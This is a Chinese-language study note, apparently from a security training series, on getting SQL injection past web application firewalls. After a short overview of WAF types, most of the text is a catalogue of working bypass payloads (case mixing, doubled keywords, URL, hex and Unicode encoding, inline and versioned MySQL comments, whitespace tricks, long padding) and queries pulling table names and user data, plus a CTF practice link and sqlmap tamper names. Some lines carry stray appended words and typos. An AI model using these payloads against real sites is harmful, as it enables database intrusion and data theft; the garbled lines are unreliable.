SQL注入過WAF(11.4 第三十三天)

WAF是什麼?php

Web應用防禦系統(也稱:網站應用級入侵防護系統。英文:Web Application Firewall,簡稱: WAF)。也叫Web防火牆,主要是對Web特有入侵方式的增強防禦,如DDOS防禦、SQL注入、XML注入、XSS等。mysql

 

WAF分類:web

代碼WAF:將規則寫在web代碼中,並去匹配,來過濾。正則表達式

軟件WAF:監聽端口或以Web容器擴展方式進行請求檢測和阻斷sql

硬件WAF:專門硬件防禦設備,代理流量,並作分析,再作是否轉發的處理服務器

WAF:經過dns域名移交技術,將流量暫時發送到檢測中心節點,經過檢測後,再發送到真實服務器上cookie

 

WAF工做流程:三個基本步驟函數

身份認證:白名單ip、白名單cookie、白名單user-agent、白名單referer等等 測試

數據包解析網站

規則匹配:根據不一樣的規則,有不一樣的繞過方法。

 

WAF的基本方式:

1、大小寫     select * from users where id ='1   ' uNion SelEcT 1,2,3,4--+

針對:/正則表達式/ i    不區分大小寫的規則

2、替關鍵字(關鍵字重複寫)  select * from users where ID=1 ununionion selselectect 1,2,3,4%23

針對檢測到某個關鍵詞 替換爲空的狀況

3、編碼  select  * from users where id=2%2bunion%2bselect%2b1,2,3,4--+

union ---> 0x756e696f6e20

select * from users where ID=1 %75nion select 1,2,3,4%23

編碼方式:URL編碼 (空格爲%20  單引號%27  左括號%28  右括號%29,針對特殊狀況能夠兩次URL編碼)  

   十六進制編碼(針對某些數據,如特殊字符、特殊字符串等)

   unicodeUnicode編碼  使用兩個字節編碼一個字符,高位不足使用0填充

單引號:%u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7

空格:%u0020%uff00%c0%20%c0%a0%e0%80%a0

左括號:%u0028%uff08%c0%28%c0%a8%e0%80%a8

右括號:%u0029%uff09%c0%29%c0%a9%e0%80%a9

4、內聯註釋 /* */      union/**/select/**/1,2,3%23 、   //.--+,/**/,--,-- -,#,;--b

 select * from dvwa.user where user_id id='1' and 1=1;--+';

5、等價函數替換      verion()     @@version    

    mid   substr   substring   

    @@datadir  datadir()

    hex()    bin()   ascii()   

    sleep()   benchmark()   

等價符號:and  &&;   or  || =  ><  re>100 re<102  re=101

6、特殊符號   + #  %23  --+   \\\\

select`version()`  

select+id-1+1.from users; "+"用於字符串鏈接  -. 用於鏈接,能夠用於逃過空格和關鍵詞的過濾

@符號:用戶自定義變量    select @……1.from users; 

@@符號:系統變量

後續加 ~  !  %  ()  []  +   |   %00  等等

  7、內聯註釋加!  select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+ 

8、緩衝區溢出

 ?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18

栗子上的 0xA*1000  指的是0XA後面的 "A" 重複1000次,通常來講對應用軟件構成緩衝區溢出都須要比較大的測試長度,這裏1000僅供參考,在一些狀況下也能夠更短

9mysql 特性繞過

等於

= 賦值

@ @+變量名可直接調用 select @test:=user();

  註釋符號 /**/  --(空格)  #  

/!**/  /*!50000select*/

select * from news where tid=1 union /*!50000select*/ 1,2,3;

/*!union*/

 (/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())

10、換行 123%0A123

 11、隱私類型轉換

select 'a'=0;

select '1admin'=1;

  綜合探索

  內聯註釋

黑魔法:select{x user}from{x mysql.user};

換行符繞過:%23%0a   %2d%2d%0a

 

繞過方式部分拆解

 select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin

[1] 第一部分:

1/**/  /*!50000union*/

2)空白字符 %09 %0a %0b %0c %0d %20

id=1%0bunion select 1,user() from admin

(3)浮點數形式  1.2   4.2

id=1.0union select 1,user() from admin

(4)1E0   1x一億的0次方

id=1e0nuion select 1,user() from admin 

(5)\

id=\Nunion select 1,user() from admin

[2] 第二部分:

1)空白字符  %09 %0a %0b %0c %0d %20

2)註釋符 /**/   /*123213*/

3)括號 id=1 union(select 'test','1',(select user() from admin limit 0,1))

[3]   第三部分:

1)空白字符  

2)註釋符號

3)其餘字符:

 %21

+  %2b

- %2d

@ %40

~ %7e

select * from admin where id=1 union select~1,user(),version()

(4)其餘方式:

括號   select * from admin where id=1 union select(1),user(),version()

內聯   select * from admin where id=1 union /*!50000select*/1,user(),version()

{} select * from admin where id=1 union select{x 1} user(),version()

" "    select * from admin where id=1 union select"1" user(),version()

\N     select * from admin where id=1 union select\N ,user(),version()

  [4] 第四部分:

1)空白字符

2)註釋符

3)其餘符號

` %60   select * from admin where id=1 union select 1,2`from admin`;(注意閉合)

內斂註釋符號

加括號

加字母 select * from admin where id=1 union select 1,2"A"from admin;(???)

4)浮點數、1E0 \N

 

第五部分:

1)空白

2)註釋符號

3)其餘符號

破則號-select * from admin where id=1 union select 1,2 from-admin;(中文的)

聯註釋符號

{} select * from admin where id=1 union select 1,2 from{x   admin};

() select * from admin where id=1 union select 1,2 from(admin);

 

練習題:http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1

 

$keywords= array("union","select","  ");

$id=strtolower($id);

$id=str_replace($keywords,"",$id);

// 須要處理的技術點:雙寫.py     使用註釋代替空格.py

// --tamper 雙寫.py,使用註釋代替空格.py

相關文章
相關標籤/搜索